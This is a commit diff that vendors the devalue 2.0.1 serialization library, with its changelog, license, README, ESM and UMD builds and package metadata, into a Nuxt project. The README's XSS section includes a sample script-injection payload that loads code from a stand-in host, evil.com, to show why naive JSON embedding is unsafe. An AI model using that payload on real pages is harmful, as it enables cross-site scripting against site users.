This commit is contained in:
2022-07-21 03:28:35 +00:00
parent d7c883d6df
commit 51b34b0e1d
30103 changed files with 4152204 additions and 23 deletions
+38
View File
@@ -0,0 +1,38 @@
# devalue changelog
## 2.0.1
* Prevent regex XSS vulnerability in non-Node environments
## 2.0.0
* Change license to MIT
## 1.1.1
* Prevent object key XSS vulnerability ([#19](https://github.com/Rich-Harris/devalue/issues/19))
## 1.1.0
* Escape lone surrogates ([#13](https://github.com/Rich-Harris/devalue/issues/13))
## 1.0.4
* Smaller output ([#10](https://github.com/Rich-Harris/devalue/pull/10))
## 1.0.3
* Detect POJOs cross-realm ([#7](https://github.com/Rich-Harris/devalue/pull/7))
* Error on symbolic keys ([#7](https://github.com/Rich-Harris/devalue/pull/7))
## 1.0.2
* Fix global name for UMD build
## 1.0.1
* XSS mitigation ([#1](https://github.com/Rich-Harris/devalue/issues/1))
## 1.0.0
* First release
+7
View File
@@ -0,0 +1,7 @@
Copyright (c) 2018-19 [these people](https://github.com/rich-harris/devalue/graphs/contributors)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+119
View File
@@ -0,0 +1,119 @@
# devalue
Like `JSON.stringify`, but handles
* cyclical references (`obj.self = obj`)
* repeated references (`[value, value]`)
* `undefined`, `Infinity`, `NaN`, `-0`
* regular expressions
* dates
* `Map` and `Set`
Try it out on [runkit.com](https://npm.runkit.com/devalue).
## Goals:
* Performance
* Security (see [XSS mitigation](#xss-mitigation))
* Compact output
## Non-goals:
* Human-readable output
* Stringifying functions or non-POJOs
## Usage
```js
import devalue from 'devalue';
let obj = { a: 1, b: 2 };
obj.c = 3;
devalue(obj); // '{a:1,b:2,c:3}'
obj.self = obj;
devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
```
If `devalue` encounters a function or a non-POJO, it will throw an error.
## XSS mitigation
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
```js
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
```
Which would result in this:
```html
<script>
// NEVER DO THIS
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>
```
Using `devalue`, we're protected against that attack:
```js
const template = `
<script>
var preloaded = ${devalue(state)};
</script>`;
```
```html
<script>
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>
```
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
```js
const value = (0,eval)('(' + str + ')');
```
## Other security considerations
While `devalue` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `devalue` would have access to your system.
When using `eval`, ensure that you call it *indirectly* so that the evaluated code doesn't have access to the surrounding scope:
```js
{
const sensitiveData = 'Setec Astronomy';
eval('sendToEvilServer(sensitiveData)'); // pwned :(
(0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}
```
Using `new Function(code)` is akin to using indirect eval.
## See also
* [lave](https://github.com/jed/lave) by Jed Schmidt
* [arson](https://github.com/benjamn/arson) by Ben Newman
* [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
* [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
* [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
## License
[MIT](LICENSE)
+226
View File
@@ -0,0 +1,226 @@
var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_$';
var unsafeChars = /[<>\b\f\n\r\t\0\u2028\u2029]/g;
var reserved = /^(?:do|if|in|for|int|let|new|try|var|byte|case|char|else|enum|goto|long|this|void|with|await|break|catch|class|const|final|float|short|super|throw|while|yield|delete|double|export|import|native|return|switch|throws|typeof|boolean|default|extends|finally|package|private|abstract|continue|debugger|function|volatile|interface|protected|transient|implements|instanceof|synchronized)$/;
var escaped = {
'<': '\\u003C',
'>': '\\u003E',
'/': '\\u002F',
'\\': '\\\\',
'\b': '\\b',
'\f': '\\f',
'\n': '\\n',
'\r': '\\r',
'\t': '\\t',
'\0': '\\0',
'\u2028': '\\u2028',
'\u2029': '\\u2029'
};
var objectProtoOwnPropertyNames = Object.getOwnPropertyNames(Object.prototype).sort().join('\0');
function devalue(value) {
var counts = new Map();
function walk(thing) {
if (typeof thing === 'function') {
throw new Error("Cannot stringify a function");
}
if (counts.has(thing)) {
counts.set(thing, counts.get(thing) + 1);
return;
}
counts.set(thing, 1);
if (!isPrimitive(thing)) {
var type = getType(thing);
switch (type) {
case 'Number':
case 'String':
case 'Boolean':
case 'Date':
case 'RegExp':
return;
case 'Array':
thing.forEach(walk);
break;
case 'Set':
case 'Map':
Array.from(thing).forEach(walk);
break;
default:
var proto = Object.getPrototypeOf(thing);
if (proto !== Object.prototype &&
proto !== null &&
Object.getOwnPropertyNames(proto).sort().join('\0') !== objectProtoOwnPropertyNames) {
throw new Error("Cannot stringify arbitrary non-POJOs");
}
if (Object.getOwnPropertySymbols(thing).length > 0) {
throw new Error("Cannot stringify POJOs with symbolic keys");
}
Object.keys(thing).forEach(function (key) { return walk(thing[key]); });
}
}
}
walk(value);
var names = new Map();
Array.from(counts)
.filter(function (entry) { return entry[1] > 1; })
.sort(function (a, b) { return b[1] - a[1]; })
.forEach(function (entry, i) {
names.set(entry[0], getName(i));
});
function stringify(thing) {
if (names.has(thing)) {
return names.get(thing);
}
if (isPrimitive(thing)) {
return stringifyPrimitive(thing);
}
var type = getType(thing);
switch (type) {
case 'Number':
case 'String':
case 'Boolean':
return "Object(" + stringify(thing.valueOf()) + ")";
case 'RegExp':
return "new RegExp(" + stringifyString(thing.source) + ", \"" + thing.flags + "\")";
case 'Date':
return "new Date(" + thing.getTime() + ")";
case 'Array':
var members = thing.map(function (v, i) { return i in thing ? stringify(v) : ''; });
var tail = thing.length === 0 || (thing.length - 1 in thing) ? '' : ',';
return "[" + members.join(',') + tail + "]";
case 'Set':
case 'Map':
return "new " + type + "([" + Array.from(thing).map(stringify).join(',') + "])";
default:
var obj = "{" + Object.keys(thing).map(function (key) { return safeKey(key) + ":" + stringify(thing[key]); }).join(',') + "}";
var proto = Object.getPrototypeOf(thing);
if (proto === null) {
return Object.keys(thing).length > 0
? "Object.assign(Object.create(null)," + obj + ")"
: "Object.create(null)";
}
return obj;
}
}
var str = stringify(value);
if (names.size) {
var params_1 = [];
var statements_1 = [];
var values_1 = [];
names.forEach(function (name, thing) {
params_1.push(name);
if (isPrimitive(thing)) {
values_1.push(stringifyPrimitive(thing));
return;
}
var type = getType(thing);
switch (type) {
case 'Number':
case 'String':
case 'Boolean':
values_1.push("Object(" + stringify(thing.valueOf()) + ")");
break;
case 'RegExp':
values_1.push(thing.toString());
break;
case 'Date':
values_1.push("new Date(" + thing.getTime() + ")");
break;
case 'Array':
values_1.push("Array(" + thing.length + ")");
thing.forEach(function (v, i) {
statements_1.push(name + "[" + i + "]=" + stringify(v));
});
break;
case 'Set':
values_1.push("new Set");
statements_1.push(name + "." + Array.from(thing).map(function (v) { return "add(" + stringify(v) + ")"; }).join('.'));
break;
case 'Map':
values_1.push("new Map");
statements_1.push(name + "." + Array.from(thing).map(function (_a) {
var k = _a[0], v = _a[1];
return "set(" + stringify(k) + ", " + stringify(v) + ")";
}).join('.'));
break;
default:
values_1.push(Object.getPrototypeOf(thing) === null ? 'Object.create(null)' : '{}');
Object.keys(thing).forEach(function (key) {
statements_1.push("" + name + safeProp(key) + "=" + stringify(thing[key]));
});
}
});
statements_1.push("return " + str);
return "(function(" + params_1.join(',') + "){" + statements_1.join(';') + "}(" + values_1.join(',') + "))";
}
else {
return str;
}
}
function getName(num) {
var name = '';
do {
name = chars[num % chars.length] + name;
num = ~~(num / chars.length) - 1;
} while (num >= 0);
return reserved.test(name) ? name + "_" : name;
}
function isPrimitive(thing) {
return Object(thing) !== thing;
}
function stringifyPrimitive(thing) {
if (typeof thing === 'string')
return stringifyString(thing);
if (thing === void 0)
return 'void 0';
if (thing === 0 && 1 / thing < 0)
return '-0';
var str = String(thing);
if (typeof thing === 'number')
return str.replace(/^(-)?0\./, '$1.');
return str;
}
function getType(thing) {
return Object.prototype.toString.call(thing).slice(8, -1);
}
function escapeUnsafeChar(c) {
return escaped[c] || c;
}
function escapeUnsafeChars(str) {
return str.replace(unsafeChars, escapeUnsafeChar);
}
function safeKey(key) {
return /^[_$a-zA-Z][_$a-zA-Z0-9]*$/.test(key) ? key : escapeUnsafeChars(JSON.stringify(key));
}
function safeProp(key) {
return /^[_$a-zA-Z][_$a-zA-Z0-9]*$/.test(key) ? "." + key : "[" + escapeUnsafeChars(JSON.stringify(key)) + "]";
}
function stringifyString(str) {
var result = '"';
for (var i = 0; i < str.length; i += 1) {
var char = str.charAt(i);
var code = char.charCodeAt(0);
if (char === '"') {
result += '\\"';
}
else if (char in escaped) {
result += escaped[char];
}
else if (code >= 0xd800 && code <= 0xdfff) {
var next = str.charCodeAt(i + 1);
// If this is the beginning of a [high, low] surrogate pair,
// add the next two characters, otherwise escape
if (code <= 0xdbff && (next >= 0xdc00 && next <= 0xdfff)) {
result += char + str[++i];
}
else {
result += "\\u" + code.toString(16).toUpperCase();
}
}
else {
result += char;
}
}
result += '"';
return result;
}
export default devalue;
+234
View File
@@ -0,0 +1,234 @@
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define(factory) :
(global.devalue = factory());
}(this, (function () { 'use strict';
var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_$';
var unsafeChars = /[<>\b\f\n\r\t\0\u2028\u2029]/g;
var reserved = /^(?:do|if|in|for|int|let|new|try|var|byte|case|char|else|enum|goto|long|this|void|with|await|break|catch|class|const|final|float|short|super|throw|while|yield|delete|double|export|import|native|return|switch|throws|typeof|boolean|default|extends|finally|package|private|abstract|continue|debugger|function|volatile|interface|protected|transient|implements|instanceof|synchronized)$/;
var escaped = {
'<': '\\u003C',
'>': '\\u003E',
'/': '\\u002F',
'\\': '\\\\',
'\b': '\\b',
'\f': '\\f',
'\n': '\\n',
'\r': '\\r',
'\t': '\\t',
'\0': '\\0',
'\u2028': '\\u2028',
'\u2029': '\\u2029'
};
var objectProtoOwnPropertyNames = Object.getOwnPropertyNames(Object.prototype).sort().join('\0');
function devalue(value) {
var counts = new Map();
function walk(thing) {
if (typeof thing === 'function') {
throw new Error("Cannot stringify a function");
}
if (counts.has(thing)) {
counts.set(thing, counts.get(thing) + 1);
return;
}
counts.set(thing, 1);
if (!isPrimitive(thing)) {
var type = getType(thing);
switch (type) {
case 'Number':
case 'String':
case 'Boolean':
case 'Date':
case 'RegExp':
return;
case 'Array':
thing.forEach(walk);
break;
case 'Set':
case 'Map':
Array.from(thing).forEach(walk);
break;
default:
var proto = Object.getPrototypeOf(thing);
if (proto !== Object.prototype &&
proto !== null &&
Object.getOwnPropertyNames(proto).sort().join('\0') !== objectProtoOwnPropertyNames) {
throw new Error("Cannot stringify arbitrary non-POJOs");
}
if (Object.getOwnPropertySymbols(thing).length > 0) {
throw new Error("Cannot stringify POJOs with symbolic keys");
}
Object.keys(thing).forEach(function (key) { return walk(thing[key]); });
}
}
}
walk(value);
var names = new Map();
Array.from(counts)
.filter(function (entry) { return entry[1] > 1; })
.sort(function (a, b) { return b[1] - a[1]; })
.forEach(function (entry, i) {
names.set(entry[0], getName(i));
});
function stringify(thing) {
if (names.has(thing)) {
return names.get(thing);
}
if (isPrimitive(thing)) {
return stringifyPrimitive(thing);
}
var type = getType(thing);
switch (type) {
case 'Number':
case 'String':
case 'Boolean':
return "Object(" + stringify(thing.valueOf()) + ")";
case 'RegExp':
return "new RegExp(" + stringifyString(thing.source) + ", \"" + thing.flags + "\")";
case 'Date':
return "new Date(" + thing.getTime() + ")";
case 'Array':
var members = thing.map(function (v, i) { return i in thing ? stringify(v) : ''; });
var tail = thing.length === 0 || (thing.length - 1 in thing) ? '' : ',';
return "[" + members.join(',') + tail + "]";
case 'Set':
case 'Map':
return "new " + type + "([" + Array.from(thing).map(stringify).join(',') + "])";
default:
var obj = "{" + Object.keys(thing).map(function (key) { return safeKey(key) + ":" + stringify(thing[key]); }).join(',') + "}";
var proto = Object.getPrototypeOf(thing);
if (proto === null) {
return Object.keys(thing).length > 0
? "Object.assign(Object.create(null)," + obj + ")"
: "Object.create(null)";
}
return obj;
}
}
var str = stringify(value);
if (names.size) {
var params_1 = [];
var statements_1 = [];
var values_1 = [];
names.forEach(function (name, thing) {
params_1.push(name);
if (isPrimitive(thing)) {
values_1.push(stringifyPrimitive(thing));
return;
}
var type = getType(thing);
switch (type) {
case 'Number':
case 'String':
case 'Boolean':
values_1.push("Object(" + stringify(thing.valueOf()) + ")");
break;
case 'RegExp':
values_1.push(thing.toString());
break;
case 'Date':
values_1.push("new Date(" + thing.getTime() + ")");
break;
case 'Array':
values_1.push("Array(" + thing.length + ")");
thing.forEach(function (v, i) {
statements_1.push(name + "[" + i + "]=" + stringify(v));
});
break;
case 'Set':
values_1.push("new Set");
statements_1.push(name + "." + Array.from(thing).map(function (v) { return "add(" + stringify(v) + ")"; }).join('.'));
break;
case 'Map':
values_1.push("new Map");
statements_1.push(name + "." + Array.from(thing).map(function (_a) {
var k = _a[0], v = _a[1];
return "set(" + stringify(k) + ", " + stringify(v) + ")";
}).join('.'));
break;
default:
values_1.push(Object.getPrototypeOf(thing) === null ? 'Object.create(null)' : '{}');
Object.keys(thing).forEach(function (key) {
statements_1.push("" + name + safeProp(key) + "=" + stringify(thing[key]));
});
}
});
statements_1.push("return " + str);
return "(function(" + params_1.join(',') + "){" + statements_1.join(';') + "}(" + values_1.join(',') + "))";
}
else {
return str;
}
}
function getName(num) {
var name = '';
do {
name = chars[num % chars.length] + name;
num = ~~(num / chars.length) - 1;
} while (num >= 0);
return reserved.test(name) ? name + "_" : name;
}
function isPrimitive(thing) {
return Object(thing) !== thing;
}
function stringifyPrimitive(thing) {
if (typeof thing === 'string')
return stringifyString(thing);
if (thing === void 0)
return 'void 0';
if (thing === 0 && 1 / thing < 0)
return '-0';
var str = String(thing);
if (typeof thing === 'number')
return str.replace(/^(-)?0\./, '$1.');
return str;
}
function getType(thing) {
return Object.prototype.toString.call(thing).slice(8, -1);
}
function escapeUnsafeChar(c) {
return escaped[c] || c;
}
function escapeUnsafeChars(str) {
return str.replace(unsafeChars, escapeUnsafeChar);
}
function safeKey(key) {
return /^[_$a-zA-Z][_$a-zA-Z0-9]*$/.test(key) ? key : escapeUnsafeChars(JSON.stringify(key));
}
function safeProp(key) {
return /^[_$a-zA-Z][_$a-zA-Z0-9]*$/.test(key) ? "." + key : "[" + escapeUnsafeChars(JSON.stringify(key)) + "]";
}
function stringifyString(str) {
var result = '"';
for (var i = 0; i < str.length; i += 1) {
var char = str.charAt(i);
var code = char.charCodeAt(0);
if (char === '"') {
result += '\\"';
}
else if (char in escaped) {
result += escaped[char];
}
else if (code >= 0xd800 && code <= 0xdfff) {
var next = str.charCodeAt(i + 1);
// If this is the beginning of a [high, low] surrogate pair,
// add the next two characters, otherwise escape
if (code <= 0xdbff && (next >= 0xdc00 && next <= 0xdfff)) {
result += char + str[++i];
}
else {
result += "\\u" + code.toString(16).toUpperCase();
}
}
else {
result += char;
}
}
result += '"';
return result;
}
return devalue;
})));
+68
View File
@@ -0,0 +1,68 @@
{
"_args": [
[
"devalue@2.0.1",
"/home/node/nuxt"
]
],
"_from": "devalue@2.0.1",
"_id": "devalue@2.0.1",
"_inBundle": false,
"_integrity": "sha512-I2TiqT5iWBEyB8GRfTDP0hiLZ0YeDJZ+upDxjBfOC2lebO5LezQMv7QvIUTzdb64jQyAKLf1AHADtGN+jw6v8Q==",
"_location": "/devalue",
"_phantomChildren": {},
"_requested": {
"type": "version",
"registry": true,
"raw": "devalue@2.0.1",
"name": "devalue",
"escapedName": "devalue",
"rawSpec": "2.0.1",
"saveSpec": null,
"fetchSpec": "2.0.1"
},
"_requiredBy": [
"/@nuxt/generator"
],
"_resolved": "https://registry.npmjs.org/devalue/-/devalue-2.0.1.tgz",
"_spec": "2.0.1",
"_where": "/home/node/nuxt",
"bugs": {
"url": "https://github.com/Rich-Harris/devalue/issues"
},
"description": "Gets the job done when JSON.stringify can't",
"devDependencies": {
"@types/mocha": "^5.2.5",
"@types/node": "^10.12.0",
"glob": "^7.1.2",
"mocha": "^5.2.0",
"rollup": "^0.66.6",
"rollup-plugin-typescript": "^1.0.0",
"rollup-plugin-virtual": "^1.0.1",
"sander": "^0.6.0",
"ts-node": "^7.0.1",
"tslib": "^1.9.3",
"typescript": "^3.1.3"
},
"files": [
"dist",
"types"
],
"homepage": "https://github.com/Rich-Harris/devalue#readme",
"license": "MIT",
"main": "dist/devalue.umd.js",
"module": "dist/devalue.esm.js",
"name": "devalue",
"repository": {
"type": "git",
"url": "git+https://github.com/Rich-Harris/devalue.git"
},
"scripts": {
"build": "npm run build-declarations && rollup -c",
"build-declarations": "tsc -d && node scripts/move-type-declarations.js",
"prepublishOnly": "npm run build && npm test",
"test": "mocha --opts mocha.opts"
},
"types": "types/index.d.ts",
"version": "2.0.1"
}
+1
View File
@@ -0,0 +1 @@
export default function devalue(value: any): string;